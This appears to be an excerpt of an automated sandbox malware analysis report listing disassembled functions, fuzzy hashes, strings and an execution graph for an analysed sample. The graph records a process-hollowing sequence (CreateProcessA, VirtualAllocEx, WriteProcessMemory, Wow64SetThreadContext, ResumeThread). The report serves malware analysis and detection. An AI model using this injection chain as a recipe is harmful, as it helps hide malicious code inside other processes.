                                  • Instruction Fuzzy Hash: 7190023121340142A54072585844A4E910697E1302BD5D415A101555CCC91489615321
                                  Function 01273D70 Relevance: .0, Instructions: 4COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: cd764d6200a0f4695c54075e2c89785177aea970c3998a6b8df9a12e9c4bc3ba
                                  • Instruction ID: abc6e962adebeddf9241e4cbdf80a6ffff64ff23adad823a86fcfff009586b72
                                  • Opcode Fuzzy Hash: cd764d6200a0f4695c54075e2c89785177aea970c3998a6b8df9a12e9c4bc3ba
                                  • Instruction Fuzzy Hash: 8B90023521240402E51071585844646504797D0301F95D411A142455CDC65489A1A221
                                  Function 01272C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                  • Instruction ID: ab3b5dd5735c097f18a1587d2f18a1045a10b3491938433fb7e86c6c6c20a6de
                                  • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                  • Instruction Fuzzy Hash:
                                  Function 01272890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ___swprintf_l
                                  • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                  • API String ID: 48624451-2108815105
                                  • Opcode ID: e4f2db1d12f370d33cb3d57d38e8c6b69e3df4d1be0a9e3cf267c5b4ca1af9ab
                                  • Instruction ID: 061b882c067ca9ca60082245e7f94fec669ae9d86e481bb0e0897d45caabadf1
                                  • Opcode Fuzzy Hash: e4f2db1d12f370d33cb3d57d38e8c6b69e3df4d1be0a9e3cf267c5b4ca1af9ab
                                  • Instruction Fuzzy Hash: 5551D6B5A20117FFDB21DB9C889097FFBB8BF08240B648269E595D7641D374DE44CBA0
                                  Function 012E2410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ___swprintf_l
                                  • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                  • API String ID: 48624451-2108815105
                                  • Opcode ID: cffd116f7bac6b31308f3297dc84b2ffd2becbfe93ba1106a5648a3b766365ef
                                  • Instruction ID: bfe59b64372d9994eac1e5029808a7ae329f8dcb18e3b512674eca58184e9fa6
                                  • Opcode Fuzzy Hash: cffd116f7bac6b31308f3297dc84b2ffd2becbfe93ba1106a5648a3b766365ef
                                  • Instruction Fuzzy Hash: D3512771A20656EECF34DF5CD99487FBBFCEB48200B848459E597D7681E6B4EA008760
                                  Function 01267630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                  Download Yara Rule
                                  Strings
                                  • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 012A4742
                                  • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 012A4725
                                  • ExecuteOptions, xrefs: 012A46A0
                                  • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 012A46FC
                                  • Execute=1, xrefs: 012A4713
                                  • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 012A4655
                                  • CLIENT(ntdll): Processing section info %ws..., xrefs: 012A4787
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                  • API String ID: 0-484625025
                                  • Opcode ID: 10408874bc8af7d0a4a15950a439544988186c80a4aa8cb68df5a3cc0f33d0d2
                                  • Instruction ID: 941fed4d5f0471cfefde4e602951fc850d653dc6ea027c3608ed75e26da06049
                                  • Opcode Fuzzy Hash: 10408874bc8af7d0a4a15950a439544988186c80a4aa8cb68df5a3cc0f33d0d2
                                  • Instruction Fuzzy Hash: A5512D3162025AAFEF25EA69EC85FBE77ACEF14308F4400A9D705971D0D7709E818F50
                                  Function 0127B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: __aulldvrm
                                  • String ID: +$-$0$0
                                  • API String ID: 1302938615-699404926
                                  • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                  • Instruction ID: 3056d6e539599a60a0bfbfe3da45fb39d5dbaf49e13d0f75f9ae0aa0c337c7a0
                                  • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                  • Instruction Fuzzy Hash: FA81C171E3524A9EEF29CE6CC8917FFBBB1AF45320F18421ADA61A72D1C7349840CB55
                                  Function 012E20E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ___swprintf_l
                                  • String ID: %%%u$[$]:%u
                                  • API String ID: 48624451-2819853543
                                  • Opcode ID: c206993a1ed00ff80aec3759046297bc19f34a795e9201e5a9673cc143d210b8
                                  • Instruction ID: 1ec56b1e8ed5a737e7a586dfe672129031ab4f583760a8c1c3319cad2bfc6ad5
                                  • Opcode Fuzzy Hash: c206993a1ed00ff80aec3759046297bc19f34a795e9201e5a9673cc143d210b8
                                  • Instruction Fuzzy Hash: 9121657AA2011AEBDB10DF79CC44AFEBBFCEF54644F44011AEA05E7241E730DA058BA1
                                  Function 0125F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                  Download Yara Rule
                                  Strings
                                  • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 012A02E7
                                  • RTL: Re-Waiting, xrefs: 012A031E
                                  • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 012A02BD
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                  • API String ID: 0-2474120054
                                  • Opcode ID: 5e681a25faa53cb3d8143bc01648ae885bda4828280ed7d56de2a0c603a3a673
                                  • Instruction ID: 7902624c4b4106a4f4338c86ea1ad2023deac92d2cfa0a868d0c35f3e72d6593
                                  • Opcode Fuzzy Hash: 5e681a25faa53cb3d8143bc01648ae885bda4828280ed7d56de2a0c603a3a673
                                  • Instruction Fuzzy Hash: 4CE1BE30624742DFD765CF28C985B6ABBE0BF88314F140A2DFAA58B2D1D774E944CB52
                                  Function 0126BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                  Download Yara Rule
                                  Strings
                                  • RTL: Resource at %p, xrefs: 012A7B8E
                                  • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 012A7B7F
                                  • RTL: Re-Waiting, xrefs: 012A7BAC
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                  • API String ID: 0-871070163
                                  • Opcode ID: 86255de54cc1a0a4759df5024cde4e85afe0ff0b028d9b46da550d461de43bd0
                                  • Instruction ID: f7cdaee28ba54e3bac65f0b77bb396ee178128c8736e615143db77113dc684f9
                                  • Opcode Fuzzy Hash: 86255de54cc1a0a4759df5024cde4e85afe0ff0b028d9b46da550d461de43bd0
                                  • Instruction Fuzzy Hash: 9D4103353207038FD725DE29CC41B6AB7E9EF98710F100A2DFA56DB690EB72E4458B91
                                  Function 0126B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                  Download Yara Rule
                                  APIs
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012A728C
                                  Strings
                                  • RTL: Resource at %p, xrefs: 012A72A3
                                  • RTL: Re-Waiting, xrefs: 012A72C1
                                  • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 012A7294
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                  • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                  • API String ID: 885266447-605551621
                                  • Opcode ID: df82f88fd4fc7bc7fc07bafb984a7572e9040fa3f28357015aee97d4e793afba
                                  • Instruction ID: 629978521e6cee90dbbc2896e2d88aa6d052af592f493d57f0b6d0dcb08e9367
                                  • Opcode Fuzzy Hash: df82f88fd4fc7bc7fc07bafb984a7572e9040fa3f28357015aee97d4e793afba
                                  • Instruction Fuzzy Hash: AD41F035760603ABD721DE29CC41B66B7A9FB94710F100629FA55EB280DB32E8428BD5
                                  Function 012E2300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: ___swprintf_l
                                  • String ID: %%%u$]:%u
                                  • API String ID: 48624451-3050659472
                                  • Opcode ID: 6f0ce7b45f31b4d914c588d86d42af20d788669c12ff38bcfb37de456efc7496
                                  • Instruction ID: 8ffcbfb4b068d178b48577a0df8c9c2da276e979b68e9f2c15ca487ae3ad59b5
                                  • Opcode Fuzzy Hash: 6f0ce7b45f31b4d914c588d86d42af20d788669c12ff38bcfb37de456efc7496
                                  • Instruction Fuzzy Hash: 1B314572610219DFDB20DF29DC44BEEB7FCFB54610F84455AE949E3240EB309A448F61
                                  Function 01277D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: __aulldvrm
                                  • String ID: +$-
                                  • API String ID: 1302938615-2137968064
                                  • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                  • Instruction ID: c3f61230c722f632a80048ce6206764deb7a0d96e2662caf3e6e12e6782ac7a1
                                  • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                  • Instruction Fuzzy Hash: 5891E370E202179BEF24DF6DC989ABFBBA5FF45320F14452AEA55E72C0D77089408752
                                  Function 01239126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $$@
                                  • API String ID: 0-1194432280
                                  • Opcode ID: c139faf27d855593e916ea4cc28638d3c2769e2a1bb6b13b16dc2f3cad0a2b70
                                  • Instruction ID: cae6ff71ce7405b80bcde5206eb78cbe0097e6dfa155d75cfce5ddaf5a5e4e79
                                  • Opcode Fuzzy Hash: c139faf27d855593e916ea4cc28638d3c2769e2a1bb6b13b16dc2f3cad0a2b70
                                  • Instruction Fuzzy Hash: 55811C72D1026ADBDB35DF58CC45BEAB6B8AB48714F0041DAEA19B7280D7705E84CFA0

                                  Execution Graph

                                  Execution Coverage:9.3%
                                  Dynamic/Decrypted Code Coverage:94.7%
                                  Signature Coverage:0%
                                  Total number of Nodes:207
                                  Total number of Limit Nodes:13
                                  execution_graph 33329 5a8a088 33330 5a8a213 33329->33330 33332 5a8a0ae 33329->33332 33332->33330 33333 5a884c4 33332->33333 33334 5a8a308 PostMessageW 33333->33334 33335 5a8a374 33334->33335 33335->33332 33522 24b47a8 33523 24b47ba 33522->33523 33524 24b47c6 33523->33524 33528 24b48b9 33523->33528 33533 24b4350 33524->33533 33526 24b47e5 33529 24b48dd 33528->33529 33537 24b49c8 33529->33537 33541 24b49b8 33529->33541 33534 24b435b 33533->33534 33549 24b5894 33534->33549 33536 24b7a11 33536->33526 33538 24b49ef 33537->33538 33539 24b4acc 33538->33539 33545 24b45b8 33538->33545 33539->33539 33543 24b49ef 33541->33543 33542 24b4acc 33542->33542 33543->33542 33544 24b45b8 CreateActCtxA 33543->33544 33544->33542 33546 24b5a58 CreateActCtxA 33545->33546 33548 24b5b1b 33546->33548 33548->33548 33550 24b589f 33549->33550 33553 24b75ec 33550->33553 33552 24b7b09 33552->33536 33554 24b75f7 33553->33554 33555 24b78d8 3 API calls 33554->33555 33556 24b7b96 33555->33556 33556->33552 33361 5a86b7e 33362 5a86b2a 33361->33362 33363 5a86b16 33361->33363 33367 5a88dd8 33362->33367 33372 5a88e42 33362->33372 33377 5a88e50 33362->33377 33368 5a88dfd 33367->33368 33382 5a88e8a 33368->33382 33397 5a88ef6 33368->33397 33369 5a88e77 33369->33363 33373 5a88e65 33372->33373 33375 5a88e8a 12 API calls 33373->33375 33376 5a88ef6 12 API calls 33373->33376 33374 5a88e77 33374->33363 33375->33374 33376->33374 33378 5a88e65 33377->33378 33380 5a88e8a 12 API calls 33378->33380 33381 5a88ef6 12 API calls 33378->33381 33379 5a88e77 33379->33363 33380->33379 33381->33379 33383 5a88eaa 33382->33383 33393 5a88eb2 33383->33393 33413 5a8937e 33383->33413 33418 5a894dc 33383->33418 33424 5a8955a 33383->33424 33429 5a89320 33383->33429 33438 5a89c20 33383->33438 33443 5a899cf 33383->33443 33447 5a892ad 33383->33447 33451 5a898aa 33383->33451 33455 5a89448 33383->33455 33460 5a89316 33383->33460 33465 5a89475 33383->33465 33469 5a89a1f 33383->33469 33393->33369 33398 5a88e84 33397->33398 33399 5a88ef9 33397->33399 33400 5a89448 2 API calls 33398->33400 33401 5a898aa 2 API calls 33398->33401 33402 5a892ad 2 API calls 33398->33402 33403 5a899cf 2 API calls 33398->33403 33404 5a89c20 2 API calls 33398->33404 33405 5a89320 2 API calls 33398->33405 33406 5a8955a 2 API calls 33398->33406 33407 5a894dc 2 API calls 33398->33407 33408 5a8937e 2 API calls 33398->33408 33409 5a88eb2 33398->33409 33410 5a89a1f 2 API calls 33398->33410 33411 5a89475 2 API calls 33398->33411 33412 5a89316 2 API calls 33398->33412 33399->33369 33400->33409 33401->33409 33402->33409 33403->33409 33404->33409 33405->33409 33406->33409 33407->33409 33408->33409 33409->33369 33410->33409 33411->33409 33412->33409 33414 5a8938b 33413->33414 33474 5a85df8 33414->33474 33478 5a85df2 33414->33478 33415 5a89364 33415->33393 33419 5a893af 33418->33419 33420 5a894f6 33418->33420 33422 5a85df8 ResumeThread 33419->33422 33423 5a85df2 ResumeThread 33419->33423 33420->33393 33421 5a89364 33421->33393 33422->33421 33423->33421 33425 5a8930c 33424->33425 33425->33424 33426 5a8931e 33425->33426 33482 5a86478 33425->33482 33486 5a86470 33425->33486 33426->33393 33430 5a8979c 33429->33430 33431 5a89a36 33430->33431 33433 5a8930c 33430->33433 33436 5a86478 WriteProcessMemory 33431->33436 33437 5a86470 WriteProcessMemory 33431->33437 33432 5a8931e 33432->33393 33433->33432 33434 5a86478 WriteProcessMemory 33433->33434 33435 5a86470 WriteProcessMemory 33433->33435 33434->33433 33435->33433 33436->33432 33437->33432 33439 5a89c8d 33438->33439 33490 5a862d8 33439->33490 33494 5a862e0 33439->33494 33440 5a89ca8 33498 5a86568 33443->33498 33502 5a86561 33443->33502 33444 5a89a00 33506 5a86700 33447->33506 33510 5a866f4 33447->33510 33514 5a863b8 33451->33514 33518 5a863b2 33451->33518 33452 5a898c8 33456 5a8946e 33455->33456 33458 5a86478 WriteProcessMemory 33456->33458 33459 5a86470 WriteProcessMemory 33456->33459 33457 5a89bf3 33458->33457 33459->33457 33461 5a8930c 33460->33461 33462 5a8931e 33461->33462 33463 5a86478 WriteProcessMemory 33461->33463 33464 5a86470 WriteProcessMemory 33461->33464 33462->33393 33463->33461 33464->33461 33467 5a862d8 Wow64SetThreadContext 33465->33467 33468 5a862e0 Wow64SetThreadContext 33465->33468 33466 5a8948f 33467->33466 33468->33466 33470 5a89a25 33469->33470 33472 5a86478 WriteProcessMemory 33470->33472 33473 5a86470 WriteProcessMemory 33470->33473 33471 5a89a57 33471->33393 33472->33471 33473->33471 33475 5a85e38 ResumeThread 33474->33475 33477 5a85e69 33475->33477 33477->33415 33479 5a85e38 ResumeThread 33478->33479 33481 5a85e69 33479->33481 33481->33415 33483 5a864c0 WriteProcessMemory 33482->33483 33485 5a86517 33483->33485 33485->33425 33487 5a864c0 WriteProcessMemory 33486->33487 33489 5a86517 33487->33489 33489->33425 33491 5a86325 Wow64SetThreadContext 33490->33491 33493 5a8636d 33491->33493 33493->33440 33495 5a86325 Wow64SetThreadContext 33494->33495 33497 5a8636d 33495->33497 33497->33440 33499 5a865b3 ReadProcessMemory 33498->33499 33501 5a865f7 33499->33501 33501->33444 33503 5a865b3 ReadProcessMemory 33502->33503 33505 5a865f7 33503->33505 33505->33444 33507 5a86789 CreateProcessA 33506->33507 33509 5a8694b 33507->33509 33509->33509 33511 5a86789 CreateProcessA 33510->33511 33513 5a8694b 33511->33513 33513->33513 33515 5a863f8 VirtualAllocEx 33514->33515 33517 5a86435 33515->33517 33517->33452 33519 5a863f8 VirtualAllocEx 33518->33519 33521 5a86435 33519->33521 33521->33452 33346 58a0040 33347 58a007b 33346->33347 33352 58af908 33347->33352 33356 58af8f7 33347->33356 33348 58a1d2f 33349 58a01d1 33348->33349 33349->33348 33353 58af961 33352->33353 33354 58af99a 33353->33354 33355 24b78d8 3 API calls 33353->33355 33354->33349 33355->33354 33357 58af888 33356->33357 33358 58af8fb 33356->33358 33357->33349 33359 58af99a 33358->33359 33360 24b78d8 3 API calls 33358->33360 33359->33349 33360->33359 33280 24bbb40 33281 24bbb4d 33280->33281 33282 24bbb87 33281->33282 33284 24ba404 33281->33284 33285 24ba409 33284->33285 33287 24bc8a0 33285->33287 33288 24bbd54 33285->33288 33287->33287 33289 24bbd5f 33288->33289 33294 24b78d8 33289->33294 33291 24bc90f 33298 24be740 33291->33298 33292 24bc949 33292->33287 33295 24b78e3 33294->33295 33296 24b91cb 33295->33296 33303 24bb280 33295->33303 33296->33291 33300 24be771 33298->33300 33301 24be871 33298->33301 33299 24be77d 33299->33292 33300->33299 33325 24bf970 33300->33325 33301->33292 33304 24bb291 33303->33304 33307 24bb2b4 33303->33307 33312 24b8ef4 33304->33312 33307->33296 33308 24bb4b8 GetModuleHandleW 33310 24bb4e5 33308->33310 33309 24bb2ac 33309->33307 33309->33308 33310->33296 33313 24bb470 GetModuleHandleW 33312->33313 33315 24bb29c 33313->33315 33315->33307 33316 24bb518 33315->33316 33317 24b8ef4 GetModuleHandleW 33316->33317 33318 24bb52c 33317->33318 33320 24bb551 33318->33320 33321 24ba3a0 33318->33321 33320->33309 33322 24bb6f8 LoadLibraryExW 33321->33322 33324 24bb771 33322->33324 33324->33320 33326 24bf99b 33325->33326 33327 24b8ef4 GetModuleHandleW 33326->33327 33328 24bfa4a 33326->33328 33327->33328 33336 24bc060 33337 24bc0a6 33336->33337 33340 24bc240 33337->33340 33343 24bbcf4 33340->33343 33344 24bc2a8 DuplicateHandle 33343->33344 33345 24bc193 33344->33345

                                  Executed Functions

                                  Function 058A0006 Relevance: 17.8, Strings: 3, Instructions: 14093COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 2359 58a0006-58a0079 2361 58a007b 2359->2361 2362 58a0080-58a01bc 2359->2362 2361->2362 2385 58a01c6-58a01c9 2362->2385 4416 58a01cc call 58af908 2385->4416 4417 58a01cc call 58af8f7 2385->4417 2386 58a01d1-58a02b2 2403 58a02bc-58a02bf 2386->2403 2404 58a02c7-58a0304 2403->2404 2409 58a030e-58a0311 2404->2409 2410 58a0319-58a0356 2409->2410 2415 58a0360-58a0363 2410->2415 2416 58a036b-58a0c4a 2415->2416 2552 58a0d17-58a0d30 2416->2552 2553 58a0c4f-58a0c89 2552->2553 2554 58a0d36-58a10ec 2552->2554 2559 58a0c8b 2553->2559 2560 58a0c90-58a0ca4 2553->2560 2622 58a10f6-58a1108 2554->2622 2559->2560 2562 58a0cab-58a0cd5 2560->2562 2563 58a0ca6 2560->2563 2564 58a0cdc-58a0d05 2562->2564 2565 58a0cd7 2562->2565 2563->2562 2566 58a0d0c-58a0d14 2564->2566 2567 58a0d07 2564->2567 2565->2564 2566->2552 2567->2566 2623 58a1113-58a1582 2622->2623 2691 58a158c-58a159e 2623->2691 2692 58a15a9-58a184c 2691->2692 2728 58a1857-58a186b 2692->2728 2729 58a1871-58a1884 2728->2729 2730 58a1890-58a18a9 2729->2730 2731 58a18af-58a18bc 2730->2731 2732 58a18c3-58a18dd 2731->2732 2733 58a18e3-58a1adf 2732->2733 2752 58a1aea-58a1b02 2733->2752 4418 58a1b04 call 5870810 2752->4418 4419 58a1b04 call 58707ff 2752->4419 2753 58a1b09-58a1bf2 2759 58a1bf9-58a1c19 2753->2759 2761 58a1c1f-58a1c2f 2759->2761 2762 58a1c31 2761->2762 2763 58a1c36-58a1cfb 2761->2763 2762->2763 2771 58a1d06-58a1d24 2763->2771 2772 58a1d2f-58af21e 2771->2772 4369 58af248 2772->4369 4370 58af220-58af22c 2772->4370 4371 58af24e-58af5bd 4369->4371 4372 58af22e-58af234 4370->4372 4373 58af236-58af23c 4370->4373 4374 58af246 4372->4374 4373->4374 4374->4371 4416->2386 4417->2386 4418->2753 4419->2753
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000A.00000002.1518785817.00000000058A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_10_2_58a0000_GnVIdcfKFYG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 'Iq$Ppq$$Iq
                                  • API String ID: 0-196433531
                                  • Opcode ID: 38fb7292df13ce594dfc94fabd1cdb0b5351db8db04184fe9c70066b2cd8f26b
                                  • Instruction ID: bd29f4847ff8789e29985bb0402be0e4531c6a1235c352f5435c48927b29b238
                                  • Opcode Fuzzy Hash: 38fb7292df13ce594dfc94fabd1cdb0b5351db8db04184fe9c70066b2cd8f26b
                                  • Instruction Fuzzy Hash: 1774C534A113198FDB25DB64C898AD9B7B2FF89304F5145E9E8096B362DB31AEC1CF41
                                  Function 05873303 Relevance: 12.9, Strings: 10, Instructions: 446COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 4420 5873303-58733c6 call 5872dcc 4432 58733cb-58733ce 4420->4432 4433 58733d7-58733dc 4432->4433 4434 58733d0 4432->4434 4433->4432 4434->4433 4435 58734c7-58734d1 4434->4435 4436 58736a5-58736aa 4434->4436 4437 58735e3-58735f0 4434->4437 4438 5873420-587342a 4434->4438 4439 587350f-5873575 4434->4439 4440 58736ac 4434->4440 4441 587364b-587365a 4434->4441 4442 5873588-587359b 4434->4442 4443 5873675-5873679 4434->4443 4444 58735b3-58735c2 4434->4444 4445 5873612 4434->4445 4446 5873451-5873457 4434->4446 4447 58733de-5873412 4434->4447 4448 587349e-58734a5 4434->4448 4449 58735f8-5873602 4434->4449 4463 58734d3-58734da 4435->4463 4464 58734f1-58734fb 4435->4464 4456 587363f-5873642 4436->4456 4437->4449 4454 5873433-587343d 4438->4454 4455 587342c 4438->4455 4461 587359d 4439->4461 4549 5873577-5873583 4439->4549 4457 58736b9-58736bc 4440->4457 4494 5873663-587366a 4441->4494 4495 587365c 4441->4495 4458 58735a2 4442->4458 4452 587369c 4443->4452 4453 587367b-5873684 4443->4453 4499 58735c4-58735ce 4444->4499 4500 58735dc-58735e1 4444->4500 4450 5873615-587363a 4445->4450 4459 587345d-5873469 4446->4459 4460 5873459-587345b 4446->4460 4527 587341a-587341e 4447->4527 4448->4461 4462 58734ab-58734b6 4448->4462 4449->4450 4451 5873604-5873610 4449->4451 4450->4456 4469 58735a7-58735aa 4451->4469 4480 587369f 4452->4480 4475 5873686-5873689 4453->4475 4476 587368b-5873698 4453->4476 4454->4461 4478 5873443-587344f 4454->4478 4477 5873431 4455->4477 4456->4441 4466 5873644 4456->4466 4467 58736ce-58736d2 4457->4467 4468 58736be 4457->4468 4458->4469 4479 587346b-5873499 4459->4479 4460->4479 4461->4458 4462->4461 4482 58734bc-58734c2 4462->4482 4463->4461 4465 58734e0-58734e7 4463->4465 4464->4461 4470 5873501-587350d 4464->4470 4484 58734ec 4465->4484 4466->4436 4466->4440 4466->4441 4466->4443 4466->4467 4485 5873836-587383b 4466->4485 4486 5873944-587395b 4466->4486 4487 5873840-587385f 4466->4487 4488 587387f-5873883 4466->4488 4489 58737ab-587381b 4466->4489 4490 5873989-5873990 4466->4490 4492 58736f5 4467->4492 4493 58736d4-58736dd 4467->4493 4468->4467 4468->4485 4468->4486 4468->4487 4468->4488 4468->4489 4468->4490 4491 58736c5-58736cc 4468->4491 4469->4444 4497 58735ac 4469->4497 4470->4484 4496 587369a 4475->4496 4476->4496 4477->4432 4478->4477 4479->4432 4480->4436 4482->4432 4484->4432 4485->4457 4538 5873973-587397b call 587cef8 4486->4538 4539 587395d-5873963 4486->4539 4573 5873864 call 587a4a4 4487->4573 4574 5873864 call 587a4b4 4487->4574 4575 5873864 call 587a4c4 4487->4575 4576 5873864 call 587b590 4487->4576 4577 5873864 call 587a438 4487->4577 4578 5873864 call 587b5d8 4487->4578 4579 5873864 call 587b548 4487->4579 4580 5873864 call 587b558 4487->4580 4511 58738a6 4488->4511 4512 5873885-587388e 4488->4512 4559 5873833 4489->4559 4560 587381d-5873823 4489->4560 4502 58736b4 4491->4502 4516 58736f8-587377e call 5878995 4492->4516 4503 58736e4-58736f1 4493->4503 4504 58736df-58736e2 4493->4504 4508 58736af 4494->4508 4509 587366c-5873673 4494->4509 4505 5873661 4495->4505 4496->4480 4497->4436 4497->4437 4497->4440 4497->4441 4497->4443 4497->4444 4497->4445 4497->4449 4497->4467 4497->4485 